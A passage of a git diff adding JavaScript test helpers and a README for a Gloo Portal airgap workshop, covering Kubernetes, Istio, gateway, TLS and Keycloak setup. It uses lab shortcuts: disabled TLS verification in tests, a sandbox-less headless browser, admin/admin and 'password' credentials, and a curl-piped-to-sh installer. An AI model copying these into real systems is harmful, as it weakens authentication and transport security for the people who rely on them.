cli.stderr != "") { + console.log(" ----> " + command + " not succesful..."); + await utils.sleep(1000); + } + cli.stderr.should.be.empty; + cli.should.exit.with.code(0); + if(responseContains!=""){ + cli.stdout.should.contain(responseContains); + } + }, + getOutputForCommand: ({ command }) => { + let cli = chaiExec(command); + return cli.stdout; + }, +}; + +module.exports = global; + +afterEach(function(done) { utils.waitOnFailedTest(done, this.currentTest.currentRetry())}); diff --git a/gloo-mesh/gateway/2-4/airgap/efault/tests/chai-http.js b/gloo-mesh/gateway/2-4/airgap/efault/tests/chai-http.js new file mode 100644 index 0000000000..d0b8a42277 --- /dev/null +++ b/gloo-mesh/gateway/2-4/airgap/efault/tests/chai-http.js @@ -0,0 +1,63 @@ +const chaiHttp = require("chai-http"); +const chai = require("chai"); +const expect = chai.expect; +chai.use(chaiHttp); +const utils = require('./utils'); + +process.env.NODE_TLS_REJECT_UNAUTHORIZED = '0'; + +global = { + checkURL: ({ host, path = "", headers = [], retCode }) => { + let request = chai.request(host).head(path).redirects(0); + headers.forEach(header => request.set(header.key, header.value)); + return request + .send() + .then(async function (res) { + expect(res).to.have.status(retCode); + }); + }, + checkBody: ({ host, path = "", headers = [], body = '', match = true }) => { + let request = chai.request(host).get(path).redirects(0); + headers.forEach(header => request.set(header.key, header.value)); + return request + .send() + .then(async function (res) { + if (match) { + expect(res.text).to.contain(body); + } else { + expect(res.text).not.to.contain(body); + } + }); + }, + checkHeaders: ({ host, path = "", headers = [], expectedHeaders = [] }) => { + let request = chai.request(host).get(path).redirects(0); + headers.forEach(header => request.set(header.key, header.value)); + return request + .send() + .then(async function (res) { + expectedHeaders.forEach(header => expect(res.header[header.key]).to.equal(header.value)); + }); + }, + checkWithMethod: ({ host, path, headers = [], method = "get", retCode }) => { + let request + if (method === "get") { + request = chai.request(host).get(path).redirects(0); + } else if (method === "post") { + request = chai.request(host).post(path).redirects(0); + } else if (method === "put") { + request = chai.request(host).put(path).redirects(0); + } else { + throw 'The requested method is not implemented.' + } + headers.forEach(header => request.set(header.key, header.value)); + return request + .send() + .then(async function (res) { + expect(res).to.have.status(retCode); + }); + } +}; + +module.exports = global; + +afterEach(function(done) { utils.waitOnFailedTest(done, this.currentTest.currentRetry())}); \ No newline at end of file diff --git a/gloo-mesh/gateway/2-4/airgap/efault/tests/keycloak-token.js b/gloo-mesh/gateway/2-4/airgap/efault/tests/keycloak-token.js new file mode 100644 index 0000000000..3ac1a691db --- /dev/null +++ b/gloo-mesh/gateway/2-4/airgap/efault/tests/keycloak-token.js @@ -0,0 +1,4 @@ +const keycloak = require('./keycloak'); +const { argv } = require('node:process'); + +keycloak.getKeyCloakCookie(argv[2], argv[3]); diff --git a/gloo-mesh/gateway/2-4/airgap/efault/tests/keycloak.js b/gloo-mesh/gateway/2-4/airgap/efault/tests/keycloak.js new file mode 100644 index 0000000000..aae79f0fdc --- /dev/null +++ b/gloo-mesh/gateway/2-4/airgap/efault/tests/keycloak.js @@ -0,0 +1,41 @@ +const puppeteer = require('puppeteer'); +//const utils = require('./utils'); + +global = { + getKeyCloakCookie: async (url, user) => { + const browser = await puppeteer.launch({ + headless: "new", + ignoreHTTPSErrors: true, + args: ['--no-sandbox', '--disable-setuid-sandbox'], // needed for instruqt + }); + const page = await browser.newPage(); + await page.goto(url); + await page.waitForNetworkIdle({ options: { timeout: 1000 } }); + //await utils.sleep(1000); + + // Enter credentials + //await page.waitForSelector('#username'); + //await page.waitForSelector('#password'); + await page.type('#username', user); + await page.type('#password', 'password'); + await page.click('#kc-login'); + await page.waitForNetworkIdle({ options: { timeout: 1000 } }); + //await utils.sleep(1000); + + // Retrieve session cookie + const cookies = await page.cookies(); + const sessionCookie = cookies.find(cookie => cookie.name === 'keycloak-session'); + let ret; + if (sessionCookie) { + ret = `${sessionCookie.name}=${sessionCookie.value}`; // Construct the cookie string + } else { + console.error(` No session cookie found for ${user}`); + ret = "keycloak-session=dummy"; + } + await browser.close(); + console.log(ret); + return ret; + } +}; + +module.exports = global; diff --git a/gloo-mesh/gateway/2-4/airgap/efault/tests/utils.js b/gloo-mesh/gateway/2-4/airgap/efault/tests/utils.js new file mode 100644 index 0000000000..9747efaa2c --- /dev/null +++ b/gloo-mesh/gateway/2-4/airgap/efault/tests/utils.js @@ -0,0 +1,13 @@ +global = { + sleep: ms => new Promise(resolve => setTimeout(resolve, ms)), + waitOnFailedTest: (done, currentRetry) => { + if(currentRetry > 0){ + process.stdout.write("."); + setTimeout(done, 1000); + } else { + done(); + } + } +}; + +module.exports = global; \ No newline at end of file diff --git a/gloo-mesh/gateway/2-4/airgap/portal/README.md b/gloo-mesh/gateway/2-4/airgap/portal/README.md new file mode 100644 index 0000000000..593f6c85dd --- /dev/null +++ b/gloo-mesh/gateway/2-4/airgap/portal/README.md @@ -0,0 +1,3631 @@ + + + + + +![Gloo Mesh Enterprise](images/gloo-mesh-enterprise.png) +#
Gloo Portal (2.4.7)
+ + + +## Table of Contents +* [Introduction](#introduction) +* [Lab 1 - Deploy a KinD cluster](#lab-1---deploy-a-kind-cluster-) +* [Lab 2 - Prepare airgap environment](#lab-2---prepare-airgap-environment-) +* [Lab 3 - Deploy and register Gloo Mesh](#lab-3---deploy-and-register-gloo-mesh-) +* [Lab 4 - Deploy Istio using Gloo Mesh Lifecycle Manager](#lab-4---deploy-istio-using-gloo-mesh-lifecycle-manager-) +* [Lab 5 - Deploy the Bookinfo demo app](#lab-5---deploy-the-bookinfo-demo-app-) +* [Lab 6 - Deploy the httpbin demo app](#lab-6---deploy-the-httpbin-demo-app-) +* [Lab 7 - Deploy Gloo Mesh Addons](#lab-7---deploy-gloo-mesh-addons-) +* [Lab 8 - Create the gateways workspace](#lab-8---create-the-gateways-workspace-) +* [Lab 9 - Create the bookinfo workspace](#lab-9---create-the-bookinfo-workspace-) +* [Lab 10 - Expose the productpage through a gateway](#lab-10---expose-the-productpage-through-a-gateway-) +* [Lab 11 - Create the httpbin workspace](#lab-11---create-the-httpbin-workspace-) +* [Lab 12 - Deploy Keycloak](#lab-12---deploy-keycloak-) +* [Lab 13 - Expose the productpage API securely](#lab-13---expose-the-productpage-api-securely-) +* [Lab 14 - Expose an external API and stitch it with another one](#lab-14---expose-an-external-api-and-stitch-it-with-another-one-) +* [Lab 15 - Expose the dev portal backend](#lab-15---expose-the-dev-portal-backend-) +* [Lab 16 - Deploy and expose the dev portal frontend](#lab-16---deploy-and-expose-the-dev-portal-frontend-) +* [Lab 17 - Allow users to create their own API keys](#lab-17---allow-users-to-create-their-own-api-keys-) +* [Lab 18 - Dev portal monetization](#lab-18---dev-portal-monetization-) +* [Lab 19 - Deploy Backstage with the backend plugin](#lab-19---deploy-backstage-with-the-backend-plugin-) + + + +## Introduction + +[Gloo Mesh Enterprise](https://www.solo.io/products/gloo-mesh/) is a management plane which makes it easy to operate [Istio](https://istio.io) on one or many Kubernetes clusters deployed anywhere (any platform, anywhere). + +### Istio support + +The Gloo Mesh Enterprise subscription includes end to end Istio support: + +- Upstream first +- Specialty builds available (FIPS, ARM, etc) +- Long Term Support (LTS) N-4 +- Critical security patches +- Production break-fix +- One hour SLA Severity 1 +- Install / upgrade +- Architecture and operational guidance, best practices + +### Gloo Mesh overview + +Gloo Mesh provides many unique features, including: + +- multi-tenancy based on global workspaces +- zero trust enforcement +- global observability (centralized metrics and access logging) +- simplified cross cluster communications (using virtual destinations) +- advanced gateway capabilities (oauth, jwt, transformations, rate limiting, web application firewall, ...) + +![Gloo Mesh graph](images/gloo-mesh-graph.png) + +### Want to learn more about Gloo Mesh + +You can find more information about Gloo Mesh in the official documentation: + +[https://docs.solo.io/gloo-mesh/latest/](https://docs.solo.io/gloo-mesh/latest/) + + + + +## Lab 1 - Deploy a KinD cluster + + +Clone this repository and go to the directory where this `README.md` file is. + +Set the context environment variables: + +```bash +export MGMT=cluster1 +export CLUSTER1=cluster1 +``` + +Run the following commands to deploy a Kubernetes cluster using [Kind](https://kind.sigs.k8s.io/): + +```bash +./scripts/deploy.sh 1 cluster1 us-west us-west-1 +``` + +Then run the following commands to wait for all the Pods to be ready: + +```bash +./scripts/check.sh cluster1 +``` + +**Note:** If you run the `check.sh` script immediately after the `deploy.sh` script, you may see a jsonpath error. If that happens, simply wait a few seconds and try again. + +Once the `check.sh` script completes, when you execute the `kubectl get pods -A` command, you should see the following: + +``` +NAMESPACE NAME READY STATUS RESTARTS AGE +kube-system calico-kube-controllers-59d85c5c84-sbk4k 1/1 Running 0 4h26m +kube-system calico-node-przxs 1/1 Running 0 4h26m +kube-system coredns-6955765f44-ln8f5 1/1 Running 0 4h26m +kube-system coredns-6955765f44-s7xxx 1/1 Running 0 4h26m +kube-system etcd-cluster1-control-plane 1/1 Running 0 4h27m +kube-system kube-apiserver-cluster1-control-plane 1/1 Running 0 4h27m +kube-system kube-controller-manager-cluster1-control-plane1/1 Running 0 4h27m +kube-system kube-proxy-ksvzw 1/1 Running 0 4h26m +kube-system kube-scheduler-cluster1-control-plane 1/1 Running 0 4h27m +local-path-storage local-path-provisioner-58f6947c7-lfmdx 1/1 Running 0 4h26m +metallb-system controller-5c9894b5cd-cn9x2 1/1 Running 0 4h26m +metallb-system speaker-d7jkp 1/1 Running 0 4h26m +``` + + + + +## Lab 2 - Prepare airgap environment + +Set the registry variable: +```bash +export registry=localhost:5000 +``` + +Pull and push locally the Docker images needed: + +```bash +cat <<'EOF' > images.txt +docker.io/curlimages/curl +djannot/portal-frontend:0.1 +docker.io/bats/bats:v1.4.1 +docker.io/bitnami/clickhouse:23.11.1-debian-11-r1 +docker.io/grafana/grafana:10.0.3 +docker.io/kennethreitz/httpbin +docker.io/nginx:1.25.3 +docker.io/openpolicyagent/opa:0.57.1-debug +docker.io/redis:7.0.14-alpine +gcr.io/gloo-mesh/ext-auth-service:0.51.4 +gcr.io/gloo-mesh/gloo-mesh-agent:2.4.7 +gcr.io/gloo-mesh/gloo-mesh-apiserver:2.4.7 +gcr.io/gloo-mesh/gloo-mesh-envoy:2.4.7 +gcr.io/gloo-mesh/gloo-mesh-mgmt-server:2.4.7 +gcr.io/gloo-mesh/gloo-mesh-portal-server:2.4.7 +gcr.io/gloo-mesh/gloo-mesh-ui:2.4.7 +gcr.io/gloo-mesh/gloo-otel-collector:2.4.7 +gcr.io/gloo-mesh/rate-limiter:0.10.3 +jimmidyson/configmap-reload:v0.8.0 +quay.io/keycloak/keycloak:22.0.5 +quay.io/prometheus/prometheus:v2.41.0 +us-docker.pkg.dev/gloo-mesh/istio-workshops/operator:1.19.3-solo +us-docker.pkg.dev/gloo-mesh/istio-workshops/pilot:1.19.3-solo +us-docker.pkg.dev/gloo-mesh/istio-workshops/proxyv2:1.19.3-solo +EOF + +for url in https://raw.githubusercontent.com/istio/istio/master/samples/bookinfo/platform/kube/bookinfo.yaml https://raw.githubusercontent.com/istio/istio/master/samples/bookinfo/networking/bookinfo-gateway.yaml +do + for image in $(curl -sfL ${url}|grep image:|awk '{print $2}') + do + echo $image >> images.txt + done +done + +cat images.txt | while read image; do + nohup sh -c "echo $image | xargs -P10 -n1 docker pull" nohup.out 2>nohup.err & +done + +cat images.txt | while read image; do + src=$(echo $image | sed 's/^docker\.io\///g' | sed 's/^library\///g') + dst=$(echo $image | awk -F/ '{ if(NF>3){ print $3"/"$4}else{if(NF>2){ print $2"/"$3}else{if($1=="docker.io"){print $2}else{print $1"/"$2}}}}' | sed 's/^library\///g') + docker pull $image + + id=$(docker images $src --format "{{.ID}}") + + docker tag $id ${registry}/$dst + docker push ${registry}/$dst + dst_dev=$(echo ${dst} | sed 's/gloo-platform-dev/gloo-mesh/') + docker tag $id ${registry}/$dst_dev + docker push ${registry}/$dst_dev +done +``` + + + +## Lab 3 - Deploy and register Gloo Mesh +[VIDEO LINK](https://youtu.be/djfFiepK4GY "Video Link") + + +Before we get started, let's install the `meshctl` CLI: + +```bash +export GLOO_MESH_VERSION=v2.4.7 +curl -sL https://run.solo.io/meshctl/install | sh - +export PATH=$HOME/.gloo-mesh/bin:$PATH +``` + +First, create a secret with the password to use to store access logs in Clickhouse: + +```bash +cat << EOF | kubectl --context ${MGMT} apply -f - +kind: Namespace +apiVersion: v1 +metadata: + name: gloo-mesh +--- +apiVersion: v1 +kind: Secret +metadata: + name: clickhouse-auth + namespace: gloo-mesh +type: Opaque +stringData: + password: password +EOF +``` + +And then, install the Helm charts: + +```bash +kubectl --context ${MGMT} create ns gloo-mesh + +helm upgrade --install gloo-platform-crds gloo-platform-crds \ + --repo https://storage.googleapis.com/gloo-platform/helm-charts \ + --namespace gloo-mesh \ + --kube-context ${MGMT} \ + --version 2.4.7 + +helm upgrade --install gloo-platform-mgmt gloo-platform \ + --repo https://storage.googleapis.com/gloo-platform/helm-charts \ + --namespace gloo-mesh \ + --kube-context ${MGMT} \ + --version 2.4.7 \ + -f -< + + + + + +## Lab 4 - Deploy Istio using Gloo Mesh Lifecycle Manager +[VIDEO LINK](https://youtu.be/f76-KOEjqHs "Video Link") + +We are going to deploy Istio using Gloo Mesh Lifecycle Manager. + +Let's create Kubernetes services for the gateways: + +```bash +registry=localhost:5000 +kubectl --context ${CLUSTER1} create ns istio-gateways +kubectl --context ${CLUSTER1} label namespace istio-gateways istio.io/rev=1-19 --overwrite + +kubectl apply --context ${CLUSTER1} -f - < + + + + +```bash +export HOST_GW_CLUSTER1="$(kubectl --context ${CLUSTER1} -n istio-gateways get svc -l istio=ingressgateway -o jsonpath='{.items[0].status.loadBalancer.ingress[0].*}')" +``` + + + + + +## Lab 5 - Deploy the Bookinfo demo app +[VIDEO LINK](https://youtu.be/nzYcrjalY5A "Video Link") + +We're going to deploy the bookinfo application to demonstrate several features of Gloo Mesh. + +You can find more information about this application [here](https://istio.io/latest/docs/examples/bookinfo/). +Update the registry in our bookinfo manifests: + +```bash +sed -i'' -e "s/image: docker.io/image: ${registry}/g" \ + data/steps/deploy-bookinfo/productpage-v1.yaml \ + data/steps/deploy-bookinfo/details-v1.yaml \ + data/steps/deploy-bookinfo/ratings-v1.yaml \ + data/steps/deploy-bookinfo/reviews-v1-v2.yaml \ + data/steps/deploy-bookinfo/reviews-v3.yaml +``` + +Run the following commands to deploy the bookinfo application on `cluster1`: + +```bash +kubectl --context ${CLUSTER1} create ns bookinfo-frontends +kubectl --context ${CLUSTER1} create ns bookinfo-backends +kubectl --context ${CLUSTER1} label namespace bookinfo-frontends istio.io/rev=1-19 --overwrite +kubectl --context ${CLUSTER1} label namespace bookinfo-backends istio.io/rev=1-19 --overwrite + +# Deploy the frontend bookinfo service in the bookinfo-frontends namespace +kubectl --context ${CLUSTER1} -n bookinfo-frontends apply -f data/steps/deploy-bookinfo/productpage-v1.yaml + +# Deploy the backend bookinfo services in the bookinfo-backends namespace for all versions less than v3 +kubectl --context ${CLUSTER1} -n bookinfo-backends apply \ + -f data/steps/deploy-bookinfo/details-v1.yaml \ + -f data/steps/deploy-bookinfo/ratings-v1.yaml \ + -f data/steps/deploy-bookinfo/reviews-v1-v2.yaml + +# Update the reviews service to display where it is coming from +kubectl --context ${CLUSTER1} -n bookinfo-backends set env deploy/reviews-v1 CLUSTER_NAME=${CLUSTER1} +kubectl --context ${CLUSTER1} -n bookinfo-backends set env deploy/reviews-v2 CLUSTER_NAME=${CLUSTER1} +``` + + + +You can check that the app is running using the following command: + +``` +kubectl --context ${CLUSTER1} -n bookinfo-frontends get pods && kubectl --context ${CLUSTER1} -n bookinfo-backends get pods +``` + +Note that we deployed the `productpage` service in the `bookinfo-frontends` namespace and the other services in the `bookinfo-backends` namespace. + +And we deployed the `v1` and `v2` versions of the `reviews` microservice, not the `v3` version. + + + + + +## Lab 6 - Deploy the httpbin demo app +[VIDEO LINK](https://youtu.be/w1xB-o_gHs0 "Video Link") + +We're going to deploy the httpbin application to demonstrate several features of Gloo Mesh. + +You can find more information about this application [here](http://httpbin.org/). + +Run the following commands to deploy the httpbin app on `cluster1`. The deployment will be called `not-in-mesh` and won't have the sidecar injected (because we don't label the namespace). + +```bash +kubectl --context ${CLUSTER1} create ns httpbin +kubectl apply --context ${CLUSTER1} -f - </dev/null +do + sleep 1 + echo -n . +done" +echo +--> + +You can follow the progress using the following command: + +```bash +kubectl --context ${CLUSTER1} -n httpbin get pods +``` + +```,nocopy +NAME READY STATUS RESTARTS AGE +in-mesh-5d9d9549b5-qrdgd 2/2 Running 0 11s +not-in-mesh-5c64bb49cd-m9kwm 1/1 Running 0 11s +``` + + + + +## Lab 7 - Deploy Gloo Mesh Addons +[VIDEO LINK](https://youtu.be/_rorug_2bk8 "Video Link") + +To use the Gloo Mesh Gateway advanced features (external authentication, rate limiting, ...), you need to install the Gloo Mesh addons. + +First, you need to create a namespace for the addons, with Istio injection enabled: + +```bash +kubectl --context ${CLUSTER1} create namespace gloo-mesh-addons +kubectl --context ${CLUSTER1} label namespace gloo-mesh-addons istio.io/rev=1-19 --overwrite +``` + +Then, you can deploy the addons on the cluster(s) using Helm: + +```bash +helm upgrade --install gloo-platform gloo-platform \ + --repo https://storage.googleapis.com/gloo-platform/helm-charts \ + --namespace gloo-mesh-addons \ + --kube-context ${CLUSTER1} \ + --version 2.4.7 \ + -f -< ./test.js +const helpers = require('./tests/chai-exec'); + +describe("Gloo Platform add-ons cluster1 deployment", () => { + let cluster = process.env.CLUSTER1 + let deployments = ["ext-auth-service", "rate-limiter"]; + deployments.forEach(deploy => { + it(deploy + ' pods are ready in ' + cluster, () => helpers.checkDeployment({ context: cluster, namespace: "gloo-mesh-addons", k8sObj: deploy })); + }); +}); + +EOF +echo "executing test dist/gloo-mesh-2-0-workshop/build/templates/steps/deploy-gloo-mesh-addons/tests/check-addons-deployments.test.js.liquid" +tempfile=$(mktemp) +echo "saving errors in ${tempfile}" +timeout 2m mocha ./test.js --timeout 10000 --retries=120 --bail 2> ${tempfile} || { cat ${tempfile} && exit 1; } +--> + +This is what the environment looks like now: + +![Gloo Platform Workshop Environment](images/steps/deploy-gloo-mesh-addons/gloo-mesh-workshop-environment.svg) + + + +## Lab 8 - Create the gateways workspace +[VIDEO LINK](https://youtu.be/QeVBH0eswWw "Video Link") + +We're going to create a workspace for the team in charge of the Gateways. + +The platform team needs to create the corresponding `Workspace` Kubernetes objects in the Gloo Mesh management cluster. + +Let's create the `gateways` workspace which corresponds to the `istio-gateways` and the `gloo-mesh-addons` namespaces on the cluster(s): + +```bash +kubectl apply --context ${MGMT} -f - < + +We're going to create a workspace for the team in charge of the Bookinfo application. + +The platform team needs to create the corresponding `Workspace` Kubernetes objects in the Gloo Mesh management cluster. + +Let's create the `bookinfo` workspace which corresponds to the `bookinfo-frontends` and `bookinfo-backends` namespaces on the cluster(s): + +```bash +kubectl apply --context ${MGMT} -f - < +[VIDEO LINK](https://youtu.be/emyIu99AOOA "Video Link") + +In this step, we're going to expose the `productpage` service through the Ingress Gateway using Gloo Mesh. + +The Gateway team must create a `VirtualGateway` to configure the Istio Ingress Gateway in cluster1 to listen to incoming requests. + +```bash +kubectl apply --context ${CLUSTER1} -f - < ./test.js +const helpers = require('./tests/chai-http'); + +describe("Productpage is available (HTTP)", () => { + it('/productpage is available in cluster1', () => helpers.checkURL({ host: `http://cluster1-bookinfo.example.com`, path: '/productpage', retCode: 200 })); +}) +EOF +echo "executing test dist/gloo-mesh-2-0-workshop/build/templates/steps/apps/bookinfo/gateway-expose/tests/productpage-available.test.js.liquid" +tempfile=$(mktemp) +echo "saving errors in ${tempfile}" +timeout 2m mocha ./test.js --timeout 10000 --retries=120 --bail 2> ${tempfile} || { cat ${tempfile} && exit 1; } +--> + +Gloo Mesh translates the `VirtualGateway` and `RouteTable` into the corresponding Istio objects (`Gateway` and `VirtualService`). + +Now, let's secure the access through TLS. +Let's first create a private key and a self-signed certificate: + +```bash +openssl req -x509 -nodes -days 365 -newkey rsa:2048 \ + -keyout tls.key -out tls.crt -subj "/CN=*" +``` + +Then, you have to store them in a Kubernetes secret running the following commands: + +```bash +kubectl --context ${CLUSTER1} -n istio-gateways create secret generic tls-secret \ + --from-file=tls.key=tls.key \ + --from-file=tls.crt=tls.crt +``` + +Finally, the Gateway team needs to update the `VirtualGateway` to use this secret: + +```bash +kubectl apply --context ${CLUSTER1} -f - <. + +Notice that we specificed a minimumProtocolVersion, so if the client is trying to use an deprecated TLS version the request will be denied. + +To test this, we can try to send a request with `tlsv1.2`: + +```console +curl --tlsv1.2 --tls-max 1.2 --key tls.key --cert tls.crt https://cluster1-bookinfo.example.com/productpage -k +``` + +You should get the following output: + +```nocopy +curl: (35) error:1409442E:SSL routines:ssl3_read_bytes:tlsv1 alert protocol version +``` + +Now, you can try the most recent `tlsv1.3`: + +```console +curl --tlsv1.3 --tls-max 1.3 --key tls.key --cert tls.crt https://cluster1-bookinfo.example.com/productpage -k +``` + +And after this you should get the actual Productpage. + + + +This diagram shows the flow of the request (through the Istio Ingress Gateway): + +![Gloo Mesh Gateway](images/steps/gateway-expose/gloo-mesh-gateway.svg) + + + + +## Lab 11 - Create the httpbin workspace + +We're going to create a workspace for the team in charge of the httpbin application. + +The platform team needs to create the corresponding `Workspace` Kubernetes objects in the Gloo Mesh management cluster. + +Let's create the `httpbin` workspace which corresponds to the `httpbin` namespace on `cluster1`: + +```bash +kubectl apply --context ${MGMT} -f - < + +In many use cases, you need to restrict the access to your applications to authenticated users. + +OpenID Connect (OIDC) is an identity layer on top of the OAuth 2.0 protocol. In OAuth 2.0 flows, authentication is performed by an external Identity Provider (IdP) which, in case of success, returns an Access Token representing the user identity. The protocol does not define the contents and structure of the Access Token, which greatly reduces the portability of OAuth 2.0 implementations. + +The goal of OIDC is to address this ambiguity by additionally requiring Identity Providers to return a well-defined ID Token. OIDC ID tokens follow the JSON Web Token standard and contain specific fields that your applications can expect and handle. This standardization allows you to switch between Identity Providers – or support multiple ones at the same time – with minimal, if any, changes to your downstream services; it also allows you to consistently apply additional security measures like Role-Based Access Control (RBAC) based on the identity of your users, i.e. the contents of their ID token. + +In this lab, we're going to install Keycloak. It will allow us to setup OIDC workflows later. + +Let's install it: + +```bash +kubectl --context ${MGMT} create namespace keycloak + +kubectl apply --context ${MGMT} -f - < ./test.js +const helpers = require('./tests/chai-exec'); + +describe("Keycloak", () => { + it('keycloak pods are ready in cluster1', () => helpers.checkDeployment({ context: process.env.MGMT, namespace: "keycloak", k8sObj: "keycloak" })); +}); +EOF +echo "executing test dist/gloo-mesh-2-0-workshop/build/templates/steps/deploy-keycloak/tests/pods-available.test.js.liquid" +tempfile=$(mktemp) +echo "saving errors in ${tempfile}" +timeout 2m mocha ./test.js --timeout 10000 --retries=120 --bail 2> ${tempfile} || { cat ${tempfile} && exit 1; } +--> + + + +Then, we will configure it and create two users: + +- User1 credentials: `user1/password` + Email: user1@example.com + +- User2 credentials: `user2/password` + Email: user2@solo.io + + + +Let's set the environment variables we need: + +```bash +export ENDPOINT_KEYCLOAK=$(kubectl --context ${MGMT} -n keycloak get service keycloak -o jsonpath='{.status.loadBalancer.ingress[0].*}'):8080 +export HOST_KEYCLOAK=$(echo ${ENDPOINT_KEYCLOAK%:*}) +export PORT_KEYCLOAK=$(echo ${ENDPOINT_KEYCLOAK##*:}) +export KEYCLOAK_URL=http://${ENDPOINT_KEYCLOAK} +``` + + + + +Now, we need to get a token: + +```bash +export KEYCLOAK_TOKEN=$(curl -Ssm 10 --fail-with-body \ + -d "client_id=admin-cli" \ + -d "username=admin" \ + -d "password=admin" \ + -d "grant_type=password" \ + "$KEYCLOAK_URL/realms/master/protocol/openid-connect/token" | + jq -r .access_token) +``` + +After that, we configure Keycloak: + +```bash +# Create initial token to register the client +read -r client token <<<$(curl -Ssm 10 --fail-with-body -H "Authorization: Bearer ${KEYCLOAK_TOKEN}" -H "Content-Type: application/json" \ + -d '{ "expiration": 0, "count": 1 }' \ + $KEYCLOAK_URL/admin/realms/master/clients-initial-access | + jq -r '[.id, .token] | @tsv') +KEYCLOAK_CLIENT=${client} + +# Register the client +read -r id secret <<<$(curl -Ssm 10 --fail-with-body -H "Authorization: bearer ${token}" -H "Content-Type: application/json" \ + -d '{ "clientId": "'${KEYCLOAK_CLIENT}'" }' \ + ${KEYCLOAK_URL}/realms/master/clients-registrations/default | + jq -r '[.id, .secret] | @tsv') +KEYCLOAK_SECRET=${secret} + +# Add allowed redirect URIs +curl -m 10 --fail-with-body -H "Authorization: Bearer ${KEYCLOAK_TOKEN}" -H "Content-Type: application/json" \ + -X PUT -d '{ "serviceAccountsEnabled": true, "directAccessGrantsEnabled": true, "authorizationServicesEnabled": true, "redirectUris": ["'https://cluster1-httpbin.example.com'/*","'https://cluster1-portal.example.com'/*","'https://cluster1-backstage.example.com'/*"] }' \ + ${KEYCLOAK_URL}/admin/realms/master/clients/${id} + +# Set access token lifetime to 30m (default is 1m) +curl -m 10 --fail-with-body -H "Authorization: Bearer ${KEYCLOAK_TOKEN}" -H "Content-Type: application/json" \ + -X PUT -d '{ "accessTokenLifespan": 1800 }' \ + ${KEYCLOAK_URL}/admin/realms/master + +# Add the group attribute in the JWT token returned by Keycloak +curl -m 10 --fail-with-body -H "Authorization: Bearer ${KEYCLOAK_TOKEN}" -H "Content-Type: application/json" \ + -d '{ "name": "group", "protocol": "openid-connect", "protocolMapper": "oidc-usermodel-attribute-mapper", "config": { "claim.name": "group", "jsonType.label": "String", "user.attribute": "group", "id.token.claim": "true", "access.token.claim": "true" } }' \ + ${KEYCLOAK_URL}/admin/realms/master/clients/${id}/protocol-mappers/models + +# Add the show_personal_data attribute in the JWT token returned by Keycloak +curl -m 10 --fail-with-body -H "Authorization: Bearer ${KEYCLOAK_TOKEN}" -H "Content-Type: application/json" \ + -d '{ "name": "show_personal_data", "protocol": "openid-connect", "protocolMapper": "oidc-usermodel-attribute-mapper", "config": { "claim.name": "show_personal_data", "jsonType.label": "String", "user.attribute": "show_personal_data", "id.token.claim": "true", "access.token.claim": "true"} } ' \ + ${KEYCLOAK_URL}/admin/realms/master/clients/${id}/protocol-mappers/models + +# Create first user +curl -m 10 --fail-with-body -H "Authorization: Bearer ${KEYCLOAK_TOKEN}" -H "Content-Type: application/json" \ + -d '{ "username": "user1", "email": "user1@example.com", "enabled": true, "attributes": { "group": "users" }, "credentials": [ { "type": "password", "value": "password", "temporary": false } ] }' \ + ${KEYCLOAK_URL}/admin/realms/master/users + +# Create second user +curl -m 10 --fail-with-body -H "Authorization: Bearer ${KEYCLOAK_TOKEN}" -H "Content-Type: application/json" \ + -d '{ "username": "user2", "email": "user2@solo.io", "enabled": true, "attributes": { "group": "users", "show_personal_data": false }, "credentials": [ { "type": "password", "value": "password", "temporary": false } ] }' \ + ${KEYCLOAK_URL}/admin/realms/master/users + +``` + +> **Note:** If you get a *Not Authorized* error, please, re-run the following command and continue from the command that started to fail: + +``` +KEYCLOAK_TOKEN=$(curl -m 2 -d "client_id=admin-cli" -d "username=admin" -d "password=admin" -d "grant_type=password" "$KEYCLOAK_URL/realms/master/protocol/openid-connect/token" | jq -r .access_token) +``` + + + + +## Lab 13 - Expose the productpage API securely +[VIDEO LINK](https://youtu.be/pkzeYaTj9k0 "Video Link") + + +Gloo Platform includes a developer portal, which is well integrated with its core API. + +Let's start with API discovery. + +Annotate the `productpage` service to allow the Gloo Platform agent to discover its API: + +```bash +kubectl --context ${CLUSTER1} -n bookinfo-frontends annotate service productpage gloo.solo.io/scrape-openapi-source=https://raw.githubusercontent.com/istio/istio/master/samples/bookinfo/swagger.yaml --overwrite +kubectl --context ${CLUSTER1} -n bookinfo-frontends annotate service productpage gloo.solo.io/scrape-openapi-pull-attempts="3" --overwrite +kubectl --context ${CLUSTER1} -n bookinfo-frontends annotate service productpage gloo.solo.io/scrape-openapi-retry-delay=5s --overwrite +kubectl --context ${CLUSTER1} -n bookinfo-frontends annotate service productpage gloo.solo.io/scrape-openapi-use-backoff="true" --overwrite +``` + + + +An `APIDoc` Kubernetes object should be automatically created: + +```shell +kubectl --context ${CLUSTER1} -n bookinfo-frontends get apidoc productpage-service -o yaml +``` + + + +You should get something like this: + +```yaml,nocopy +apiVersion: apimanagement.gloo.solo.io/v2 +kind: ApiDoc +metadata: + creationTimestamp: "2023-04-05T06:48:33Z" + generation: 1 + labels: + reconciler.mesh.gloo.solo.io/name: schema-reporter-service + name: productpage-service + namespace: bookinfo-frontends + resourceVersion: "116408" + uid: 2ae9188c-713e-4ba3-86a6-8689f55cda0f +spec: + openapi: + inlineString: '{"components":{"schemas":{"Product":{"description":"Basic information + about a product","properties":{"descriptionHtml":{"description":"Description + of the book - may contain HTML tags","type":"string"},"id":{"description":"Product + id","format":"int32","type":"integer"},"title":{"description":"Title of the + book","type":"string"}},"required":["id","title","descriptionHtml"],"type":"object"},"ProductDetails":{"description":"Detailed + information about a product","properties":{"ISBN-10":{"description":"ISBN-10 + of the book","type":"string"},"ISBN-13":{"description":"ISBN-13 of the book","type":"string"},"author":{"description":"Author + of the book","type":"string"},"id":{"description":"Product id","format":"int32","type":"integer"},"language":{"description":"Language + of the book","type":"string"},"pages":{"description":"Number of pages of the + book","format":"int32","type":"integer"},"publisher":{"description":"Publisher + of the book","type":"string"},"type":{"description":"Type of the book","enum":["paperback","hardcover"],"type":"string"},"year":{"description":"Year + the book was first published in","format":"int32","type":"integer"}},"required":["id","publisher","language","author","ISBN-10","ISBN-13","year","type","pages"],"type":"object"},"ProductRatings":{"description":"Object + containing ratings of a product","properties":{"id":{"description":"Product + id","format":"int32","type":"integer"},"ratings":{"additionalProperties":{"type":"string"},"description":"A + hashmap where keys are reviewer names, values are number of stars","type":"object"}},"required":["id","ratings"],"type":"object"},"ProductReviews":{"description":"Object + containing reviews for a product","properties":{"id":{"description":"Product + id","format":"int32","type":"integer"},"reviews":{"description":"List of 